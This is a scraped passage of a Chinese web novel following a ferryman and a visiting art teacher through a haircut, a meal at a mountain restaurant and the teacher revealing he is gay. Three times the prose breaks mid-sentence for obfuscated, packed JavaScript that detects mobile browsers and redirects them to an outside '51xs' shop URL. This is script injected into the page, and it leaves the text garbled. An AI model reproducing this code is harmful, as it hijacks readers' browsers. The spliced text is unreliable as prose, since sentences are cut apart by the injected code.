莫池想象了下初澜的头发被Tony老师一通操作,变得红红绿绿,卷曲爆炸,表情就有些难看。 末了松口说:“我只给你简单修下发尾。” “好啊。”初澜笑道。 莫池整理着桌子,把黄飞宏送来的鸡鸭,还有那包桂花酥放进冰箱: “你去洗头吧,我也先洗个澡。” …… * 初澜洗完澡刚出浴室没多久,莫池就敲响他屋的门。 初澜打开门,就见对方站在门口,手里握着一把剪刀和一把梳子。 视线在初澜湿漉漉的发尾落了下,淡淡道:“先别吹了,湿着更好剪。” 初澜“嗯”了声,侧身让莫池进入房间。 两人来到阳台,莫池示意初澜在藤椅上坐下,顺手把灯打开。 初澜的发梢还在滴水,带着股洗发液的味道,沿着细白的脖颈流向锁骨。 莫池帮他抹去,又到浴室找了条干毛巾围在初澜的脖子上,食指和中指并拢夹起一撮头发,捋到合适的长度。 “剪了?” “剪吧。”初澜配合地微微低头,后颈那一小块圆润的骨头便突了起来。 太瘦了。 莫池心里冒出句。 剪刀发出“咔嚓咔嚓”的响声,在寂静的夜晚尤为清晰。 地上落着的细软碎发,被江风一吹,散入空中。 就算初澜看不到身后的莫池,单从这“沙沙”的频率里也能感受到对方的手法相当娴熟。 “小池老板,你真没专门学过么?” “没有。”莫池回答,手上的动作不停,“剪坏了别怪我。” “不怪。”初澜笑笑,“大不了剃个光头,还凉快。” 光头是绝不会给他剃的。 莫池嘴上虽这么说,但其实每一次下手都非常谨慎。 初澜头发长长的很好看,不能给他剪太短。 但距离夏天过去又还有一段时间,之后会更热,不能让他难受。 莫池忽然发现,自己居然已经自动思考到了夏天过完的时候,脑海中不禁又想起刚才唐军和初澜的对话,沉了下后开口: “你之后什么打算?” “嗯?”初澜没太反应过来。 莫池手上的剪刀顿了顿,又佯作若无其事地继续说:“大学九月初就开学了吧。” 初澜没说话,过了会儿后才又轻轻“嗯”了声。 “不过我暂时还不用去。” “为什么。” “有些事情没调查清楚,我还在停职。”初澜垂着眼睫,口吻看似温和平缓,但身上那股自带的疏离感好像一下就又把他和周遭的距离拉开了。 莫池意识到自己问了句蠢话。 “那就多休息一段时间。”他抿唇,继续道,“我才刚开始学画画,在哪儿教学生不是教。” “以你开窍的速度,没准下一秒就什么都会了。” “不会,我笨得很。”莫池淡淡说。 两人静默了会儿。 “但真就有点奇怪。”初澜若有所思,“你手明明这么稳,为什么只有笔拿不好?” “不知道,可能我从小就不爱学习。” 初澜轻勾了下唇:“撒谎。” 他早从码头的面馆老板那里听说了,莫池是个优等生。 莫池眸子暗了暗,正要落下的剪刀再次停住。 初澜闭了下眼,很有分寸的没再继续进行这个话题,转而提醒道:“其实我还是有点怕剃光头。小池老板,你能不能专心点?” 莫池回过神,“哦”了声:“没事,你继续说你的。” “我应该不会太快离开这里,还有些事没办完。”初澜顿了顿,“一个是教你画画,再一个我还是想找到那幅画真正构图的位置。” “哪幅?” “记不记得我跟你说过,我在我们学校的画展上看到过一幅关于朔松江的画。” “嗯。” “我已经确认过了,画的就是你家附近那个岔口。只是那幅画的构图很奇特,我还不知道创作者到底是在哪里取的景。” “岔口…” 莫池的声音有些低,“桔林那边的岔口?” “对。”初澜并没有看到对方的眼底随着他这句话慢慢变深,接着道,“我去找过这幅画的创作者,是我们专业的学生,可我总觉得他不是本人。” “能看看么,那幅画。” “可以,我手机上就有。”初澜让莫池暂时停下,起身到房间拔掉了正在充电的手机,打开相册。 莫池接过初澜的手机,目光仅仅只在屏幕上落了几秒,就又把手机还给初澜。 “在你们学校看到的?”他淡淡问。 “嗯。”初澜望向莫池,微皱起眉,片刻后试探道,“你…是不是见过这幅画?” “没见过。”莫池拍拍藤椅,让初澜重新坐回去,随口道,“我看画得挺一般。” “挺不一般。”初澜纠正,“这孩子要是能坚持下去,没几年就能震惊画坛。可惜之后就再没见他出什么作品,我甚至不确定他到底在不在我们学校。” “可能已经不画了。” “是啊。”初澜眼中带着些遗憾,“总之希望他好吧。” “……” 莫池不作声了,又开始继续给初澜剪发。 他看到有根头发黏在初澜的颈窝,伸手帮他捏掉。 初澜本能地缩了下脖子:“痒。” 莫池用手扶着初澜的头,轻轻往下按了按:“别乱动。” 初澜顺从地任莫池压着他的头,对方掌心的温度很高,贴在后脑勺上很舒服。 莫池细致地帮他修剪好碎发,又过了会儿后问:“所以你打算找到构图点再走?” “嗯。”初澜说,“到时你应该也能入门了,还要不要继续就看你自己。” “你找不到的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201878|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么?”初澜本能想扭头,又被莫池握着脖子转了回去。 平淡道:“我们这里山多,同样一个景色从不同的角度看都不一样,在不同的时间段也不一样。” 他顿了下,“你就算问本地的也没用,除非画画那人亲自带你去。” 但他不想。 …… * 围在初澜脖子上的毛巾被莫池抽走,将他身上的碎发掸干净。 接着收起剪刀,掏出烟盒,朝初澜冲卫生间递递下巴:“去看下。” 初澜摸摸脑后,头发的长度刚好。 整个层次都被打薄了,人显得清爽了不少。 在初澜去往卫生间时,莫池就叼着烟在他身后一直默默看着。 镜子里的初澜其实没多大变化,但切身感受确实舒服太多。 发尾柔顺轻盈地覆在脖子上,既可以在画画时继续扎起来,平时散着也不会觉得热。 “好看,给你五星好评。”初澜回头说。 莫池轻勾下唇,拿过一旁的剪刀梳子:“走了,明天还早起。” 初澜点头:“谢谢。” “不用。”莫池咬了下烟嘴,“算你教我画画的学费。” “那你赚了。” 莫池笑笑:“把下次的钱一并算上。” 说完,他又低声道了句“晚安”,替初澜关上房门。 …… * 当回到自己房间后,莫池的神色渐渐沉下来。 他背倚着门板,烟头的火光在黑暗里微微闪烁。 ——初澜手机里的那幅画是他当时在宿城的艺考培训班上画的,只是若干画作里的其中一幅。 若不是今天看到,连他自己都忘了他还画过这样一张画。 是被谁冒名顶替了? 又是怎么展出在了宿城美院? 莫池吐出口烟,将其取下夹在指间。 眼前快速闪过几张放大扭曲的嘴脸,最后聚焦在台风里掉落在地的那只棒球棍上。 真相似乎不言而喻,可他却觉得好像没必要再继续深究。 不然怎样? 告诉初澜,那幅画其实是他画的,但他现在已经不会画了,然后从初澜眼里看到惋惜,博取他的同情? 他最不想要的,便是初澜的同情。 不然就是找到那个人,当众揭穿他? 结果充其量也只是取消对方的参展资格,严重了再记个过。 学生画展原就不具备什么商业性质,况且这已经是不知道几年前的事。 莫池走到桌边,将烟头熄灭在八宝粥筒里,发出“滋”一声响。 他一只手伸进裤兜,忽然间微愣了下,接着慢慢把兜里的东西掏出—— 那是一撮柔软的黑发,被用皮筋偷偷系好藏着,带了回来。 朔松江上有个传说。 如果想留住一个人,就把他的头发剪下珍藏,这样对方永远都不会离开。 莫池拉开抽屉,取出里面的文具盒。 打开夹层,将那撮头发小心翼翼地放了进去。 他当然知道初澜不可能一直待在这里,只是单纯想要留下些什么。 借以证明,这并不只是他做的一个梦。 …… 21.山泉 转眼又过完忙碌的一周。 星期六,唐军从莫池手上接过船匙接他的班,莫池则带初澜出发前往那家据说很美味的泉水鸡店。 地方是唐军找的,方案是唐军提的,因此唐军只能乖乖接受安排,冲莫池撂了句:“我特么就是你家长工。” 接着嘴脸一变,对初澜点头客气道,“初老师好好玩啊。” 黄飞宏原本也吵着要去,结果头天晚上被他哥黄腾达强行扣下来看店。 于是此行便只有莫池和初澜两人,莫池发动摩托车,让初澜坐在他身后,一加油门朝着青龙洞方向骑去…… 青龙洞位于龙王庙后面的山腰上,直线距离不远,但要一路爬坡。 好在岛上的山路坡度大多比较平缓,摩托速度加起来,风吹在身上也不会太热。 阳光洒在山林间,光影明暗交错。 耳边是此起彼伏的蝉鸣,鸟雀从草间跃起,又消失在更深的密林中。 在经过一片河滩时,莫池腾出一只胳膊,将初澜的手又往自己腰间收了收。 摩托车载着两人在石子路上颠簸,初澜很自觉地把另只手也环上莫池的腰。 莫池腰间没有一丝赘肉,劲瘦紧实,隔着衣服的薄料能清晰感受到下方的肌肉线条。 ——是会被画画的人当成完美人体参考的身材。 此时摩托又是一颠,初澜的手指下意识就往内扣,顿时只觉得手下肌肉一紧,车子跟着剧烈晃了两晃。 莫池急忙架稳车把,喉结很重地滚了下,从后视镜撇初澜。 “抱歉。”初澜放松手上的力度,“我不太常坐摩托车。” 莫池抿唇,又目视前方地兀自骑了会儿,才轻声道:“不会摔着你。” …… 在经过河滩重新上到平坦的路面时,两人都不约而同地松了口气。 莫池放缓车速,慢慢在林间骑行,依着山的那边多出条小溪,跟随着他们一路蜿蜒而上。 溪畔开着许多叫不上名的野花,色泽鲜艳,随着夏日的风徐徐摇曳。 初澜发现在山的岩石缝里插着许多小木棍,一看就是人为的。 此前他在其他山上也见过,但并没有人跟他解释到底为什么。 于是他将问题抛给了莫池。 “小池老板,这些木棍是用来干嘛的?” “治腰疼。”莫池轻飘飘解释,“走山路的时候怕腰疼,插根树枝就不疼了。” “是么?” 莫池唇角勾了勾,又从后视镜里扫了初澜一眼。 “你说呢?” 初澜笑笑:“挺有意思。” “也有说法是为了祈福,祈祷生者身体健康,逝者早登极乐。还有的说是为了镇压山里的妖怪。” “嗯。”初澜顿了顿,说,“要不我也插一根吧。” “迷信呢,初老师。” “入乡随俗。” 莫池不再多说,将车停靠在一边。 初澜返身去到树下,从草间拣起一根木棍,接着走到山边将其并排插进了岩石缝隙里。 莫池叼了根烟在嘴里,默默看着他一系列动作,随口问:“给谁祈福?” “没谁。”初澜收手,扭过头,“镇压妖怪。” 莫池闻言哼笑了声,冲摩托扬扬下巴,示意初澜上车。 在初澜朝摩托车走去时,又抽了口烟,也弯腰随手拾起根木棍。 就当凑个热闹。 莫池将木棍推进缝隙。 祈祷初澜每晚都能睡个好觉。 …… * 两人又转过一道弯,映入眼帘的是一座小村庄。 这里离青龙洞已经很近了,莫池停车掏出手机,看唐军发给他的饭店位置。 正研究怎么过去方便,身后“吱扭吱扭”骑过来一辆儿童脚踏车,往他们旁边一停。 “喂!” 初澜低头,就看到一个长着苹果脸、大眼睛的小女孩正仰头看着莫池。 见莫池摆弄手机不理她,小女孩腮帮鼓起,又把脚踏车“吱扭扭”蹬到摩托车的正前方。 “莫池!” 初澜碰了碰莫池:“叫你。” 莫池头也不抬地“嗯”了声。 小女孩见自己接连被无视两次,从小车上下来,气冲冲来到莫池跟前,将腰一叉。 “你不记得我了?”小女孩瞪着眼,一本正经地提醒,“我是糕糕!上次你妈跟我妈一起摘橘子,我在帮忙,你也在!” “记得,就是不想跟没礼貌的小孩说话。” 糕糕瘪瘪嘴,又觉得自己刚刚一激动好像是不礼貌了,晃了晃脑袋上的两个羊角辫,老老实实喊了声“莫池哥。” 莫池这才把视线从手机上移开。 糕糕立刻就又高兴了,兴冲冲地问:“你们要去哪儿呀?”接着看向初澜,“他是谁?” “你叫他澜哥。” 糕糕没应声,不知道在想什么,歪头巴巴地盯了初澜一会儿:“哥哥,你是不是演电视剧的?你是明星?” “我是老师。” 糕糕摇头:“我不信!我们老师不长这样。” 莫池打断她的话:“你怎么一个人在路上骑车,你妈呢?” “我妈去小姨店里了。”糕糕此刻的注意力还放在这个“澜哥”身上,也不怎么想搭理莫池了。 莫池把手伸到糕糕面前,打了个响指:“知道龙泉饭庄怎么去么?” “当然知道!那是我小姨的店!”糕糕眼睛一亮,“你们也去?” “嗯。” “那你们跟在我后面,我给你们带路!”糕糕说完跑到自己的小车前,往上一跨,回头道,“跟好啊,别丢了!” 一辆摩托车跟着一辆儿童脚踏车行进在乡间。 糕糕两条萝卜腿在前面蹬得飞快,莫池却要将油门降到最低,几乎是慢慢滑着往前走。 在一座带凉棚的竹屋前,糕糕停了下来,从脚踏车上一跃而下冲进屋里:“妈,小姨,莫池和哥哥来吃饭!” 不一会儿,糕糕拉着个女人从屋里走出来。 女人一见莫池便露出热情的笑:“小池,怎么找到这里来了?” 莫池客气地冲女人点了下头,叫了声“汪姐”:“来吃饭,朋友说这儿的鸡好吃。” “可不!”汪姐迎了上来,“这是我妹子的店,用的都从是青龙洞流出来的山泉水,甜。” 汪姐将两人带到凉棚下:“那就一只竹筒鸡,再炒个蔬菜?” 莫池:“行。” 初澜大致看了下周遭环境,整个竹屋是被架起来的,下面就是淙淙溪水,从山上一路蜿蜒下来。 凉棚上方爬满茂盛的丝瓜藤,屋子后面有一片竹林和一块用篱笆围起的菜地,空气里弥漫着烧柴火的味道。 典型的符合当地特色的农舍样貌。 汪姐和饭店老板娘汪妹长得很像,但汪姐要更健谈些。 在跟初澜和莫池简单打了招呼后,汪妹便到菜地摘新鲜蔬菜,让自己老公去砍竹子,掏空做炖鸡的竹筒。 初澜和莫池在凉棚下的桌边落坐,莫池给初澜倒了杯茶,就见初澜的目光一直沿着那条小溪往上爬。 莫池也跟着看去:“那儿就是青龙洞,里头有个泉眼,说是喝洞里的水能祛病气。我小时候发烧,我爸就到里头给我装水喝。” 他的声音很低很平缓,“当时这附近都荒着,上下山的路不好走,他还把腿摔伤了,但是水一直被他护着没洒。” “你爸爸对你很好。” 莫池淡淡“嗯”了声,喝了口茶,两人就又安静了。 好在汪姐闲着没事,端了盘瓜子过来跟他们聊天,跟初澜说:“竹筒鸡和啤酒鱼都是咱们这里的特色,但绒子镇的竹筒鸡不行,竹筒都是重复利用的,没味道了。” 为了证明自己所言是真,汪姐拉着初澜,非要带他去看削竹筒。 初澜起身对莫池道:“那我去看看?” “去吧。” 初澜跟着汪姐走后,莫池摸出烟盒。 刚准备再抽支烟,先前一直蹲在边上用粉笔在地上画画的糕糕朝他跑过来。 莫池又把烟收回去了,垂眼看糕糕:“干什么?” “我妈说抽烟肺要变黑。” 莫池不理她。 糕糕接着说:“我爸以前也抽烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212129|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我妈一骂他就不敢了。” “所以呢?” “你就该找个老婆管着你!” 莫池嗤笑了声。 小屁孩年纪不大,还挺爱管闲事。 糕糕用摸了粉笔的手扯扯莫池的袖子:“你帮我一下!”说完回头指指不远处的地面,“给我画只小鸽子!” 莫池顺着糕糕的手看去,只见地面上被她用很幼稚的线条画了一个太阳和一朵向日葵。 “我不会画。”莫池抬手挣开糕糕,拍拍身上的粉笔灰。 “骗人!”糕糕一脸不相信,“你跟钵仔哥哥是同学,钵仔哥画画可好了!” “那你找他给你画。” “他这不是还没回来么!”糕糕撅嘴,“你不帮我,我就找澜哥告状,说你刚刚想抽烟!” 莫池无所谓道:“你告他干什么,他又不是我老婆。” “他是老师!老师什么都管!” 莫池被这小孩吵得头疼,但有句话她倒没说错,自从初澜来了这里,的确替自己操了不少心。 又是给他消毒伤口,又是画背,又是帮他退烧…… 莫池的心里产生了一股陌生的软。 糕糕的小脏手再一次抓住他开始卖乖:“莫池哥哥,我要小鸽子。” 莫池看了眼初澜离开的方向,叹了口气,跟糕糕来到她画画的地方。 从糕糕手里接过粉笔。 糕糕用脚点了点地,兴奋道:“这里,画在这里!向日葵旁边!” 莫池蹲下,粉笔在他食指和拇指间捻了捻,终于像下定决心般接触地面,画出一道弧线。 糕糕也在他旁边蹲下,眼睛亮晶晶地盯着莫池手上的粉笔。 随着“鸽子”逐渐成型,糕糕的表情也从无比期待一点点垮了下去。 ——地上那只鸽子像被冻死了,赖赖唧唧地瘫着,俩眼一大一小向上翻,浑身都在抖。 糕糕有些无语地望向莫池,瘪起嘴由衷地说:“哥哥,你画的好难看呀。” 莫池将粉笔头一扔:“说了不会画。” 他起身要走,抬眼就见初澜正从竹林那边朝他们走来。 莫池心下一慌,本能便一脚踩住“鸽子”,迅速来回磨蹭了几下,直到“鸽子”彻底面目全非。 刚想松口气,就听边上的糕糕“哇”一声哭出来,挥起拳头打莫池的腿。 莫池低头一看,才发现自己不小心把糕糕画的那朵向日葵也连带着蹭了。 “呜呜呜呜呜!你赔我向日葵!!” 糕糕哭得直打嗝,眼泪像断了线的珠子。 初澜一看小孩哭了,不由加快脚步朝他们跑来。 他看看莫池又看看哇哇大哭的糕糕,微皱起眉:“怎么了?” 莫池嘴唇动动,不知道怎么回答。 糕糕立刻向初澜告状:“老师,他把我的向日葵弄坏了!呜呜呜呜~” 初澜顺着糕糕的话望向地面,眉心轻轻舒展。 他蹲下身平安慰糕糕:“没关系,我再帮你画一朵。” “你不…” 莫池想说“不用理她”,但糕糕听初澜这么一说,立刻又从胸前的小口袋里变出一支粉笔。 “我还想要一只小鸽子!” “好。”初澜接过粉笔,找了块空白的地方,“画在这里?” “嗯嗯!”糕糕使劲点头。 初澜笑笑,粉笔在他手中彷佛有了生命,几笔便连出一朵盛放的向日葵,鸽子在展翅飞翔,嘴里还叼着一粒葵瓜子。 他画的是简笔画,有些幼稚,但小孩子喜欢。 糕糕见到她的“花”和“鸽子”相继复活,终于破涕为笑,看向初澜的眼中升起崇拜。 “老师好厉害!”糕糕围着初澜又拍手又蹦跳。 小孩子的笑声总能让人的心情也跟着变开朗。 初澜轻轻拉了下糕糕的小辫子,转头看向一旁的莫池。 只见对方也正默默看着他。 漆黑的眼底一如既往的沉静幽深,却被当下的欢声笑语冲淡了几分深沉。 莫池的眼睛长得很好看,初澜一时间竟也有些移不开视线…… …… 22.丝瓜 汪姐端着泉水鸡从厨房一出来,就看到初澜和莫池站在空地上,糕糕围着初澜又蹦又跳。 “欸,吃饭了!”汪姐喊。 初澜应了声,转头对莫池说:“洗手去吧。” 莫池轻点了下头,跟初澜一起走到水管前,用溪水洗了手。 糕糕自从初澜给她画完画后,就对这个长得像明星,温柔又厉害的老师产生了深深崇拜。 往初澜旁边的座位上一赖,就是不肯走。 初澜干脆让汪姐再添一副碗筷,留糕糕跟他们一起吃。 “这怎么好意思?”汪姐冲糕糕招手,让她过去,糕糕反手把初澜的胳膊抱得更紧了。 “没关系。”初澜道。 莫池将桌上的竹筒掀开,一股特别的清香味顿时扑鼻而来。 只见竹筒里炖着一整只鸡,汤头澄澈干净,除了顶端有层透亮的油脂外再无其他杂质。 莫池拿过初澜的碗,给他先盛了碗汤,接着用干净筷子剖开鸡肉,将鸡腿部分剔骨撕开,放进碗里推到初澜面前。 那鸡一看就炖到家了,肉质格外细嫩。 初澜也给糕糕盛了一碗,接着拿勺喝汤。 “怎么样,吃得惯吧?”汪姐忙不迭问。 “好鲜。” 初澜这句绝不是客套话,鸡汤的味道极其浓郁,却一点都不油腻。 入口香醇,入喉回甘,竹筒在把鸡肉最原始的味道锁住同时,还带着股竹子清新的芳香。 两个味道融合的恰到好处。 初澜忍不住又喝了口,一抬头就看到莫池正在看他。 咽下后说:“你也尝尝。” “嗯。”莫池低头默默喝汤。 汤有点烫,汗几乎一下就冒了出来。 刚刚看初澜喝汤时莫池便在想,为什么这个人能把什么都吃出一种从容不迫感。 哪怕就只是看着他,也会瞬间清凉起来。 汪妹又给他们端来一盘蘸料。 很简单,就是酱油里加了些鲜辣椒。 “老师,这个很辣,你能吃么?”糕糕在初澜边上小狗腿似地问。 初澜说“能”,夹了一小块鸡肉在酱汁里蘸了点,瞬间就又变了一种风味。 “我也爱吃辣!”糕糕说完又问莫池,“你吃不吃得?” 莫池没接她话,注意力再次转向慢条斯理吃饭的初澜。 见初澜碗里的汤少了,端过给他盛满。 看糕糕也想吃鸡肉,初澜把另一只鸡腿夹给她。 糕糕直接用手抓着鸡腿,吃的腮帮子一鼓一鼓,嘴上沾满油。 初澜顺手抽了张纸帮她擦嘴。 一旁的汪姐见状忍不住感慨:“老师人善,长得又好看,糕糕喜欢你呢。” 她刚听女儿喊初澜“老师”,便也跟着这么叫,“老师来旅游啊?” “对。” 汪姐又笑眯眯地跟初澜聊了几句,见他面善性子好,骨子里的那点八卦魂就跟着烧了起来。 “老师条件这么好,谈女朋友了吧?” 莫池拿勺子的手微微一颤,洒出些来。 “没有。”初澜答得很自然,“我单身。” 莫池又继续埋头喝汤了。 另边的汪姐还在说:“看你挺喜欢小朋友的,以后成家了也自己生一个!喜欢男孩还是女孩?” “我不打算结婚。”初澜温声说,“应该不会有小孩。” 汪姐“啊?”了下,显然没明白初澜的话。 正要继续刨根问底,厨房里的汪妹喊她过去。 汪姐起身招呼:“你们慢慢吃,我先过去哈!” “您忙。”初澜点头。 汪姐走后没多久,糕糕也吃饱喝足有点坐不住,跑去屋里看电视了。 凉棚下就剩初澜和莫池两人。 茂盛的丝瓜叶间藏了只蝉,在午后扯起嗓子叫个没完。 屋里的电视开得很大声,悔过的霸道总裁哭天喊地求女主角不要离开他。 初澜喝完碗里的汤,循着蝉鸣抬头看时,最先映入眼帘的是一枚硕大的丝瓜。 看起来已经熟透,尾巴上的黄花蔫兮兮的。 “那是专门被留下来的?” “嗯,留着丝瓜瓤刷碗。” 莫池回答完,又兀自静了一会儿,问:“你是不婚主义?” 他的声音很轻,被夹在蝉鸣和狗血剧的双重噪音里并不明显。 但初澜还是听到了。 他的目光从丝瓜上收回来,移到莫池脸上。 莫池端起汤碗,错开视线:“随便问问。” 初澜点头,顿了下:“也不算不婚主义吧。”他态度温和,语气平缓,“只是目前国内同性结婚还不现实。” “哦。” 莫池低低应声,喝了口汤。 几秒后突然像后知后觉地意识到了什么,猛地抬眼,眸子里带着暗惊。 他刚说什么? 滚热的鸡汤一下灌入喉咙,从食道直烧到心。 莫池被呛得剧烈咳嗽起来。 初澜见状忙从纸筒里抽了张纸给他,等莫池好不容易缓和,冲他牵了牵唇:“吓着你了?” “没。”莫池的嗓子咳得发哑,使劲清了下,这才道,“就是之前没太看出来。” 他还沉浸在巨大的震惊里,又迟疑地确认了遍,“所以你喜欢的是…” “我喜欢男人。”初澜帮他确认了。 莫池恍恍然点了点头,觉得自己应该表现得更自然些,于是决定再抽根烟冷静下。 初澜安静地注视着他,眼见莫池把手伸进了没有烟盒的裤兜里摸了半天,好心提醒道:“掏错了,烟在你另一个口袋。” “……” 莫池抿唇,默默换了只手。 “没关系,你接受不了也很正常。”初澜出言宽慰,“你们这里比较传统,我知道。” “不是。”莫池喉结滚了滚,他也不知道自己在“不是”什么,更不知道该怎么形容此刻的心情。 震惊意外之余,竟还产生了一种说不清、道不明的松了口气的感觉。 总之绝不是厌恶。 烟草在丝瓜藤下徐徐燃烧,半支烟过后,莫池总算找回了一丝理智。 刚准备跟初澜说点什么,掀起眼皮就迎上对方那双沉静漂亮的眸子,顷刻间心绪又乱成一团。 他指节在烟身上轻叩了两下,沉了下声道:“这没什么,你们搞艺术的好多都是。米开朗基罗、大卫霍克尼……还有温斯洛霍麦,都是。” 就在莫池迅速搜刮着脑海里的那些艺术家时,只听初澜突然低低笑了声。 莫池顿时闭嘴,眉心不由拧起。 “笑什么。” “你懂的还挺多。”初澜托着下巴坐在凉棚下,浅浅望向莫池,“课外书上看的?” 相较于对方的故作淡定,初澜要显得从容松弛太多。 他没有拆穿莫池的小习惯,越是紧张的时候话越多,语速也会变快。 两人吃完饭后,莫池又给唐军、黄飞宏一人打包了一只鸡,跨上摩托车,带着初澜开始返程。 一路上他们都没怎么交谈,莫池的脑子里全是初澜的那句“我喜欢同性”,握车把的手心出了一层滑腻的汗。 直到回家后,初澜先上楼洗澡,他才总算松了口气。 接着迅速走到院子里的水池前,拧开水龙头调到最大,将头放在下面“哗哗”一通猛冲。 就不该听唐军的去吃什么鸡。 上火。 …… * 半下午的时候,陈芳草做了桂花凉粉拿给初澜吃。 初澜正倚在床上,用手机看一篇关于现代美术流派的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221557|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鉴赏,见陈芳草来给自己送凉粉马上接过。 道谢后问:“莫池呢?” “去码头啦。”陈芳草说,“他怕唐军一个人忙不过来。” 初澜想想也是,旅游旺季将近,莫池难免事多。 既要忙着开船,还要抽出时间陪自己,的确麻烦他了。 陈芳草走后,初澜慢慢品尝着凉粉。 还是专门冰镇了的,消暑解渴,带着股糖渍桂花的香甜。 边上的手机突然震了下,徐果发来一张图片—— 【果不其然:大师给过个眼呗?】 初澜拿着勺子,另只手将图片点开。 湖水般的眼眸微微动荡。 徐果原本也没指望初澜马上能理他,谁知下一秒对方直接给他弹了视频过来。 徐果手颤了颤,差点把手机摔地上,抓稳后立马按下接通,调整了个看不见他双下巴的角度。 “小澜——”徐果话没说完,就夸张地瘪起嘴,“你瘦了,小澜。” 初澜此时顾不上听徐果贫,他觉得自己的声音都在因激动而发颤。 “徐果,你发我的这幅画是在哪儿看到的。” 视频里的徐果眨眨眼:“在我的培训班啊。” 他解释道,“这不是最近总下雨,今天难得出太阳,我就带了班上几个小朋友把仓库收拾收拾,把柜子里存的学生作品也拿出来晒晒。” “学生作品…”初澜喃喃,握手机的指节收紧。 “嗯呢。”徐果说,“然后就看到这幅画了,应该是在我接手这家培训班之前的学生画的,你看画的颜色都淡了。” “画上写名字了么。” “没有,我第一时间也想知道是谁画的呢。有一说一,水平是真可以,比我现在带的这帮小孩牛逼多了!” 初澜轻轻闭了下眼,片刻再次睁开:“我记得培训班是你从一个师哥手上接过来的?” “对,大咱们两届的。” “你还能不能找到他。” “能是能…但他人在意大利,近几年像是过得不如意,跟大家都不怎么联系了。”徐果也发现到了初澜的反常,敛去吊儿郎当的嘴脸,试探地问,“怎么了小澜子,这画有什么问题吗?” “画没问题。”初澜顿了顿,放缓语气,“就是对我个人而言有点重要。” 见徐果一脸担忧地通过屏幕盯自己,初澜淡淡牵了下唇:“放心,不是什么坏事。方便的话,能帮我问问学长,画这幅画的同学现在在哪里么?…或者把他的联系方式给我,我自己问。” 徐果又注视了初澜一会儿,点头道:“行,我打听打听,尽快给你答复。” “谢了徐果。” “嗐,别整这些客套话。”徐果挥挥手,接着忽然像想起什么,再次正色道,“对了小澜子,郭璞生师哥昨天来画室找我,问你最近去哪儿了。” 初澜很轻地皱了下眉:“你没告诉他吧。” “当然没有啊!你交待过的嘛。” 初澜“嗯”了声。 徐果:“不过他看着挺憔悴的,说很担心你。” 初澜没说话,觉得头又有点疼。 他轻轻揉了揉眉心:“知道了,他下次再找你,你就跟他说我很好,但还是别说我在哪儿。” 徐果嘴唇动动,欲言又止了下,终是什么也没再多说,一点头道:“了解。” 初澜在与徐果又简单聊了几句后便挂断视频。 视线再次回到对方发给他的那幅画上—— 和自己在宿城美院画展上看到的一致,画得都是朔松江。 只是这张画的地点和构图都更为明确,江边码头。 波光粼粼的水面上,一叶摆渡船拨开细浪,向着小岛驶来。 初澜很确定,这幅画和当时他看到的那幅,皆出自一人之手。 …… 23.蝎尾 太阳沉入西山,天地又进入这个时段特有的色调。 初澜站在阳台,十分钟前他刚从一楼的柜台前找到了半包莫池没抽完的烟。 而此刻,其中一根正夹在他指间。 火星荧荧跳动。 初澜没有烟瘾,这是他来到朔松江后抽的第二根。 第一根在莫池问他是不是要自杀的时候,被他从嘴里取出来了,没点着。 夜色将他单薄清瘦的身型包裹,室内的光从背后投来,在他脸上勾出朦胧的轮廓。 明明就这样风轻云淡地站着,却又好像跟整个世界隔绝开来,疏离到随时有可能消失。 ——莫池看到的便是这样一幅画面。 他下午一直觉得心神不宁,回屋洗了个凉水澡后还是不行,索性去到码头,在唐军见鬼似的眼神里,波澜不惊地跟他换了班。 最后一趟船上来了几个毕业旅行的大学生,听说莫池家开民宿后,二话不说决定在他家住一晚。 放着现成的生意不能不做,莫池跟他们说好价后就领着几人一起回来了。 接着,在院子门口,他便看到了楼上抽烟的初澜。 原先还在叽叽喳喳的大学生也都看见了,默契地静了下后,一轮更加热烈的探讨顷刻爆发。 其中一个穿镇上买的民族服装的女孩兴奋地摇晃莫池的胳膊:“老板老板,那人是谁啊?” 莫池默默将胳膊从女孩手上抽走:“客人。” 顿了下又道,“在我家长住。” “救命他好仙!” “对呀!超有气质!”另个女孩说,“我怎么觉得他长得有点眼熟?” “呵呵,长得好看的你都眼熟。” “滚滚滚!” 边上一个背吉他,留狼尾的男生也跟着抬头,至此视线就再没从初澜身上移开过。 穿民族服装的女孩扭头看他,微妙一笑,贼兮兮凑到男生旁边撞了撞他的手臂:“宇哥,你的菜吧?” 男生皱眉“啧”了声,拍开女生的手,又忍不住往楼上瞟了眼。 女生笑嘻嘻退到一边,跟闺蜜聊天去了。 像是被楼下的动静惊扰,初澜的视线总算从江面收了回来,移向院外。 穿民族服装的女生见初澜看他们,冲初澜挥了挥手:“你好!” 